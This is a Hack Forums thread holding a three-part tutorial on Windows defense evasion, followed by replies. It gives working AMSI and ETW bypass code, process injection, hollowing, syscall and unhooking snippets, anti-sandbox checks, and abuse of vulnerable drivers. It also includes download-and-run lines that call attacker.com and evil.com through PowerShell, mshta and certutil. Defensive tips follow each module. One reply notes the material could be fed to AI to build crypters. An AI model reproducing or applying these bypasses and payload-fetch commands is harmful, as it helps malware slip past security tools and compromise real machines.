

Forum:[Hack Forums](#)

Thread: [Evasion & Defense Bypass \(2025 Remake\)](#)

??????????? - August 30, 2025, 2:43 am

Evasion & Defense Bypass (2025 Edition)

Part 1 – Modules 1 to 5

Introduction

Security vendors improve their defenses every year but attackers adapt just as fast. In this series, we'll explore 15 detailed evasion techniques with examples, red team usage, and defense tips.

This part covers the first 5 modules: AMSI, ETW, Remote Injection, PPID Spoofing, and Process Hollowing.

1. AMSI Bypass

Description:

The Antimalware Scan Interface (AMSI) scans scripts at runtime, PowerShell, VBScript, and JScript, before execution.

It was a game-changer for defenders, but attackers quickly discovered they could patch AMSI in memory and make it return "clean" for every script.

Examples:

Classic PowerShell bypass (patch `amsiInitFailed`):

Code

```
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
```

C# patch for `AmsiScanBuffer` (short-circuit AMSI):

```
Code byte[] patch = {0xB8,0x57,0x00,0x07,0x80,0xC3};
IntPtr addr = GetProcAddress(GetModuleHandle("amsi.dll"), "AmsiScanBuffer");
Marshal.Copy(patch, 0, addr, patch.Length);
```

Inline assembly bypass (return immediately):

```
Code mov eax, 0x80070057
ret
```

Red Team Use:

- Run PowerShell stagers from Empire or Cobalt Strike without AV alerts.
- Load offensive tools like SharpHound or Seatbelt into memory without interception.
- Combine with ETW bypass for complete stealth in .NET/PowerShell operations.

Defense:

- Log PowerShell event ID 4104 (script block logging).
- Detect in-memory tampering of `amsi.dll` exports (`AmsiScanBuffer`).
- AMSI returning suspiciously few detections is itself an IOC.
- Apply Constrained Language Mode + WDAC to limit script execution.

2. ETW Bypass

Description:

Event Tracing for Windows (ETW) logs CLR and PowerShell events for visibility.
Attackers bypass ETW by disabling providers or patching functions like EtwEventWrite.

Examples:

Disable ETW with reflection:

Code

```
[System.Management.Automation.PSEtwLogProvider].GetField('etwProvider','NonPublic,Static').SetValue($null,$null)
```

Patch ETW in C#:

Code

```
var etw =  
typeof(System.Diagnostics.Tracing.EventSource).GetField("m_eventSourceEnabled",  
BindingFlags.NonPublic | BindingFlags.Instance);  
etw.SetValue(null, false);
```

Patch NTDLL EtwEventWrite directly:

Code

```
byte[] patch = { 0xC3 }; // return  
IntPtr addr = GetProcAddress(GetModuleHandle("ntdll.dll"), "EtwEventWrite");  
Marshal.Copy(patch, 0, addr, patch.Length);
```

Red Team Use:

- Run offensive .NET assemblies without generating telemetry.
- Evade EDRs dependent on ETW for PowerShell visibility.
- Common in offensive frameworks like Covenant or Mythic.

Defense:

- Monitor Event ID 5857/5858 for ETW provider tampering.
- Watch for EtwEventWrite patching in memory.
- Deploy sensors beyond ETW (kernel callbacks, Sysmon).

3. Process Injection (CreateRemoteThread)

Description:

A staple of malware: inject shellcode into another process and execute with CreateRemoteThread.
Still widely used, though noisy if not obfuscated.

Examples:

Classic C++ injection:

```
LPVOID mem = VirtualAllocEx(hProc, NULL, size, MEM_COMMIT,  
PAGE_EXECUTE_READWRITE);  
WriteProcessMemory(hProc, mem, shellcode, size, NULL);  
CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)mem, NULL, 0, NULL);
```

PowerShell variant using Invoke-ReflectivePEInjection:

Code

```
Net.WebClient).DownloadString("http://attacker.com/Invoke-ReflectivePE.ps1")
```

Red Team Use:

- Load beacons into explorer.exe or svchost.exe for stealth.
- Run staged shellcode without touching disk.
- Combine with PPID spoofing for more legitimacy.

Defense:

- Detect WriteProcessMemory + CreateRemoteThread combos (Sysmon Event ID 8).
- Hunt for suspicious cross-process access rights.
- Monitor injection into non-child processes.

4. PPID Spoofing

Description:

Parent Process ID (PPID) spoofing makes malicious processes appear to originate from a trusted parent.

Instead of "Word -> powershell," attackers fake "explorer.exe -> powershell."

Examples:

PowerShell with explorer.exe as parent:

```
Code Start-Process "powershell.exe" -ArgumentList "-nop -w hidden" -WorkingDirectory "C:\"
-NoNewWindow
```

C++ API spoofing:

```
Code STARTUPINFOEX si;
UpdateProcThreadAttribute(..., PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,
&hExplorerProc, ...);
CreateProcess(..., &si, ...);
```

Red Team Use:

- Mask PowerShell/C2 launchers as spawned from explorer.exe.
- Evade simplistic parent-child monitoring alerts.
- Popular with Sliver, Havoc, and Brute Ratel payloads.

Defense:

- Hunt for mismatched parent-child relationships (Office spawning explorer -> spawning powershell).
- Event ID 4688 with ParentProcessName logging.
- Build baselines for normal PPID trees.

5. Process Hollowing

Description:

Process hollowing replaces the memory of a legitimate process (e.g., notepad.exe) with malicious code.

It's one of the oldest but still effective evasion techniques.

Examples:

Hollow notepad.exe with C++ API calls:

```
Code CreateProcess("C:\\Windows\\System32\\notepad.exe",...CREATE_SUSPENDED...);
ZwUnmapViewOfSection(hProc, baseAddr);
WriteProcessMemory(hProc, baseAddr, shellcode, size, NULL);
ResumeThread(hThread);
```

Reflective injection variant in C#:

```
Code Process p = Process.Start("notepad.exe");
// Unmap and inject payload here
```

Red Team Use:

- Hide beacons under legitimate Windows processes.
- Maintain stealth while running shellcode.
- Still used in modern malware families.

Defense:

- Look for child processes that instantly deviate in behavior.
- Memory scanners for hollowed processes.
- Event ID 10 (ProcessAccess) with unusual permissions granted.

Evasion & Defense Bypass (2025 Edition)

Part 2 – Modules 6 to 10

Introduction

In Part 1 we looked at AMSI, ETW, process injection, PPID spoofing, and process hollowing.

Now in Part 2 we'll dive deeper into more advanced bypass methods used by red teamers and real-world malware.

6. Threadless Injection (APC Queueing)

Description:

Most injection techniques spawn new threads (which can be detected easily). Threadless injection avoids this by hijacking existing threads.

Attackers queue Asynchronous Procedure Calls (APCs) into legitimate threads, which eventually execute the shellcode.

Examples:

Classic APC queue injection in C++:

```
Code LPVOID mem = VirtualAllocEx(hProc, NULL, size, MEM_COMMIT,
PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProc, mem, shellcode, size, NULL);
QueueUserAPC((PAPCFUNC)mem, hThread, 0);
```

NtQueueApcThread syscall version (bypasses hooks):

```
Code NtQueueApcThread(hThread, (PAPCFUNC)mem, NULL, NULL, NULL);
```

Red Team Use:

- Stealthier than CreateRemoteThread.
- Popular with advanced C2 frameworks (Havoc, Brute Ratel).
- Used for in-memory execution of stagers.

Defense:

- Monitor APC queuing into suspicious processes.
- Hunt for RWX memory allocations in processes that don't normally have them.
- Event tracing for APC injection (ETW/Kernrate).

7. Reflective DLL Injection

Description:

Normally, DLLs are loaded from disk using LoadLibrary. Reflective DLL injection skips this by loading DLLs entirely from memory.

This technique was popularized by Stephen Fewer and is widely used today.

Examples:

Reflective DLL injection with rundll32:

```
Code rundll32.exe C:\payload.dll,ReflectiveLoader
```

C# P/Invoke reflective loader:

```
Code byte[] dllBytes = File.ReadAllBytes("payload.dll");
IntPtr alloc = VirtualAlloc(...);
```

```
Marshal.Copy(dllBytes, 0, alloc, dllBytes.Length);  
((DllMainDelegate)Marshal.GetDelegateForFunctionPointer(alloc, typeof(DllMainDelegate)))();
```

Red Team Use:

- Fileless persistence (never writes DLL to disk).
- Common with Mimikatz, Cobalt Strike, Sliver DLL beacons.
- Popular for “bring your own DLL” post-exploitation.

Defense:

- Detect memory-only modules without backing file on disk.
- Monitor suspicious rundll32 usage.
- ETW Event ID 7 (ImageLoad) missing valid path.

8. Syscall Evasion

Description:

EDRs often hook Windows API calls (like CreateProcess). Attackers bypass these by making direct syscalls into the Windows kernel.

This avoids userland monitoring entirely.

Examples:

Inline assembly for syscall:

```
Code mov r10, rcx  
mov eax, 0x50 ; NtCreateThreadEx syscall ID  
syscall  
ret
```

Cobalt Strike BOF (Beacon Object File) using syscalls:

```
Code syscalls::NtWriteVirtualMemory(hProc, baseAddr, shellcode, size, NULL);
```

Red Team Use:

- Evade EDRs that hook ntdll.dll exports.
- Popular with advanced malware (e.g., TrickBot, Cobalt Strike BOFs).
- Key part of “unhooked” offensive tradecraft.

Defense:

- Use kernel-level monitoring that inspects syscalls directly.
- Hunt for unusual syscall usage (rare syscalls used by Office/Explorer).
- Monitor unbacked memory regions with RWX permissions.

9. Inline Hook Removal

Description:

EDRs insert hooks into API functions (e.g., NtOpenProcess) to monitor suspicious behavior. Attackers remove these hooks by restoring the original bytes of the function.

Examples:

Unhook a function in C++:

```
Code memcpy(apiFunction, originalBytes, length);
```

Manual restore of first 5 bytes of NtReadVirtualMemory:

```
Code BYTE restore[] = {0x4C, 0x8B, 0xD1, 0xB8, 0x3F};  
memcpy(ntdllFunc, restore, sizeof(restore));
```

Red Team Use:

- Remove EDR hooks before running malicious code.
- Often used in advanced C# loaders before reflective injection.
- A common step in open-source “unhooking” projects.

Defense:

- Detect tampering of hooked functions in ntdll.dll.
- Memory integrity checks with kernel sensors.
- Use EDRs with kernel callbacks instead of userland hooks.

10. Sandbox Evasion (Sleep Skipping & Timing Tricks)

Description:

Sandboxes run malware briefly to analyze behavior. Attackers bypass this by delaying execution or skipping sleeps with high-resolution timers.

Examples:

Classic sleep bypass:

```
Code NtDelayExecution(FALSE, &timeout);
```

Fake sleep skip using timers:

```
Code DWORD start = GetTickCount();
Sleep(60000);
if(GetTickCount() - start < 1000) ExitProcess(0);
```

Red Team Use:

- Delay payload execution until outside sandbox analysis window.
- Used in droppers, loaders, and commodity malware.

Defense:

- Sandboxes should simulate realistic timers.
- Hunt for API calls like NtDelayExecution combined with early exits.
- Memory forensics to analyze dormant payloads.

Evasion & Defense Bypass (2025 Edition)

Part 3 – Modules 11 to 15 + Conclusion

Introduction

We’ve covered 10 evasion techniques so far (AMSI, ETW, injection, PPID spoofing, hollowing, reflective DLLs, syscalls, etc.).

This final part dives into the last 5 modules: environment checks, LOLBins, obfuscation, LOLDrivers, and BYOVK, then wraps up with defense guidance.

11. Environment Checks (Anti-VM & Anti-Debug)

Description:

Before executing payloads, malware checks if it’s running in a virtual machine, sandbox, or under a debugger.

If detected, it exits early, preventing analysis.

Examples:

Check for Sandboxie:

```
Code if (GetModuleHandle("SbieDll.dll")) exit(0);
```

Check for debugger:

```
Code if (IsDebuggerPresent()) ExitProcess(0);
```

Detect small memory size (sandbox VMs often use <2GB RAM):

Code `if (GlobalMemoryStatusEx(&mem) && mem.ullTotalPhys < (2ULL*1024*1024*1024)) exit(0);`

Red Team Use:

- Prevent payloads from detonating in sandbox analysis.
- Delay analysis until deployed on real machines.
- Used in commodity malware droppers and loaders.

Defense:

- Configure sandboxes with realistic hardware profiles.
- Hunt for early exits in malware samples.
- Log unusual API calls like `IsDebuggerPresent` or `CPUID` checks.

12. Signed Binary Proxy Execution (LOLBins)

Description:

Living-off-the-land binaries (LOLBins) are trusted Windows executables signed by Microsoft.

Attackers abuse them to run payloads without dropping new files.

Examples:

Using `mshta` to fetch and run remote payload:

Code `mshta.exe http://attacker.com/payload.hta`

Using `rundll32` with inline JavaScript:

Code `rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write("payload");`

`Certutil` used to download a file:

Code `certutil -urlcache -split -f http://evil.com/file.exe file.exe`

Red Team Use:

- Blend with normal system binaries.
- Execute code without dropping custom loaders.
- Chain LOLBins together for stealthier execution.

Defense:

- Detect LOLBin usage with abnormal command-line args.
- Monitor child processes of `mshta`, `rundll32`, `wmic`, etc.
- Use AppLocker/WDAC to block known-abused LOLBins.

13. Obfuscation (Encoding & Encryption)

Description:

Attackers obfuscate payloads using Base64, XOR, AES, or custom packers.

This hides strings, API calls, and command-and-control data.

Examples:

PowerShell Base64-encoded payload:

Code `powershell.exe -e SQBFAFgAIAAoAG4AZQB3AG8...`

XOR-obfuscated shellcode loader in C#:

Code `for(int i=0;i<buf.Length;i++){buf[i]^=0x37;}`

AES-encrypted payload with runtime decryption:

Code `byte[] decrypted = AES_Decrypt(cipherBytes, key, iv);`

`VirtualAlloc(..., decrypted, ...);`

Red Team Use:

- Evade static AV signatures.
- Deliver payloads via phishing without detection.
- Combine with packing for multilayered stealth.

Defense:

- Hunt for high-entropy scripts or encoded PowerShell.
- YARA rules for obfuscation patterns.
- Monitor PowerShell -EncodedCommand flag.

14. LOLDrivers (Abusing Vulnerable Signed Drivers)

Description:

Vulnerable drivers are signed by legitimate vendors but contain security flaws. Attackers load them to disable EDR hooks and patch kernel memory.

Examples:

Load vulnerable driver with kdmapper:

Code `kdmapper.exe vulnerable.sys C:\payload.exe`

Exploit driver to disable callbacks:

Code `DeviceIoControl(hDriver, IOCTL_DISABLE_CALLBACKS, ...);`

Red Team Use:

- Disable kernel callbacks used by AV/EDR.
- Kill protected processes.
- Used by ransomware operators to blind defenders.

Defense:

- Enable Microsoft driver blocklist (Windows Defender Core Isolation).
- Monitor for new driver installs (Event ID 6).
- Block unsigned drivers via group policy.

15. Bring Your Own Vulnerable Kernel (BYOVK)

Description:

BYOVK attacks involve bringing a vulnerable kernel driver, installing it, then abusing it for privilege escalation or disabling security.

This is one of the most powerful bypasses because it works at ring 0.

Examples:

Load vulnerable driver as a service:

Code `sc create vulnService binPath= C:\drivers\vuln.sys type= kernel start= auto`
`sc start vulnService`

Use driver to read/write kernel memory:

Code `DeviceIoControl(hDriver, IOCTL_READWRITE, ...);`

Red Team Use:

- Disable PatchGuard & security callbacks.
- Achieve kernel-level persistence.
- Act as rootkit loader for stealth implants.

Defense:

- Enforce kernel-mode code signing.
- Enable HVCI (Hypervisor Code Integrity).
- Monitor Event ID 7045 (new service install).
- Use endpoint solutions with kernel telemetry.

Final Defense Tips Deploy EDRs with kernel-level visibility (not just userland hooks).
 Enable Sysmon rules for process injection, memory tampering, and LOLBins.
 Block unsigned and vulnerable drivers (Microsoft blocklist, HVCI).
 Harden PowerShell with Constrained Language Mode and script block logging.
 Use purple teaming to continuously test bypasses.

Conclusion

Evasion is a constant arms race.

Attackers develop new techniques, and defenders respond with new detections.

By mastering both perspectives, red teams can simulate APT-level attacks, and blue teams can harden defenses effectively.

Q & A ?

Which of these evasion methods have you tested in your own labs?

Have you encountered LOLDrivers or BYOVK techniques in the wild? Share your stories below.

chhurbura - August 30, 2025, 3:13 am

Very informative !

???????????? - August 30, 2025, 3:27 am

(Aug 30, 2025 03:13 AM)chhurbura Wrote: [\[CITE\]](#) Very informative !

Which part did you like the most?

Dystortion - August 30, 2025, 2:57 pm

Smashing thread, loldrivers is a new one for me. I lack a lot of techniques when it comes to this sort of stuff and I'm always indecisive over which syscalls to use etc when making something. Thanks for the information !

migalo57x - August 31, 2025, 6:33 am

dm now

cannotregister123 - September 2, 2025, 2:51 pm

Useful!

???????????? - September 4, 2025, 11:23 am

(Aug 31, 2025 06:33 AM)migalo57x Wrote: [\[CITE\]](#) dm now

(Sep 2, 2025 02:51 PM)cannotregister123 Wrote: [\[CITE\]](#) Useful!

Glad you guys liked it.

lilix - September 10, 2025, 9:36 pm

I enjoyed reading your post! Are there any techniques among these that can bypass MOTW?

Chornaya Magiya - September 11, 2025, 11:59 pm

Haha this guy is insane, he just busted whole crypters market out here haha !! Well done brother Hacker.

Very high quality information out here, where everyone can feed to AI and build even better crypters then current market for free

MadScientist - September 12, 2025, 1:13 pm

Awesome content bro, been eager to learn more about evasion and encryption been out of the loop for nearly a decade lot to learn.

sadjasdjsajdsdad - September 13, 2025, 2:57 am

nice work on this

Luuna - October 1, 2025, 10:59 pm

Nice share friend! awesome read :)

???????????? - October 2, 2025, 12:39 am

(Oct 1, 2025 10:59 PM)Luuna Wrote: [\[CITE\]](#) Nice share friend! awesome read :)
I am glad to hear you liked it.

M2K - October 2, 2025, 12:41 pm

as always an amazing share :)

???????????? - October 2, 2025, 12:47 pm

(Oct 2, 2025 12:41 PM)M2K Wrote: [\[CITE\]](#) as always an amazing share :)
I also learn a lot from you as well. Thanks for taking time to read.

passerino - October 2, 2025, 2:14 pm

thnks It's always a pleasure to read your posts

Firepox - October 3, 2025, 2:01 am

Brilliant post!

???????????? - October 18, 2025, 2:03 pm

(Oct 2, 2025 02:14 PM)passerino Wrote: [\[CITE\]](#) thnks It's always a pleasure to read your posts
(Oct 3, 2025 02:01 AM)Firepox Wrote: [\[CITE\]](#) Brilliant post!
My profile has more some more threads which you might find intresting.

passerino - October 22, 2025, 8:15 am

(Oct 3, 2025 02:01 AM)Firepox Wrote: [\[CITE\]](#) Brilliant post!
thanks for the time you dedicate to the posts
.You will see my comments in your tutorials

SIM-5706270 - October 23, 2025, 12:21 am

Good thanks.

Pimping - October 23, 2025, 12:47 am

Very high quality thread will be reading it in complete when i have the time
these threads are inspiring me to make some of my own. might come out with some osint/hacking threads soon

???????????? - October 23, 2025, 1:07 am

(Oct 23, 2025 12:47 AM)Pimping Wrote: [\[CITE\]](#) Very high quality thread will be reading it in complete when i have the time
these threads are inspiring me to make some of my own. might come out with some osint/hacking threads soon
Please tag me in threads which you make.

Stanley - September 12, 2026, 6:20 am

I'm Stanley HF's helper bot. The OP (original poster) of this thread wants everyone to see this page and has elected to bump it to the top of the showthread listing. Since HF doesn't want a ton of LQP (Low Quality Posts) this is the best method of bumping your content. There is a small ?yte fee for each bump. Any OP can bump any of their threads on HF from the linked icon on the top of their first post.

If you haven't already read the first post of this thread we encourage you to do so.

Thanks,
Stanley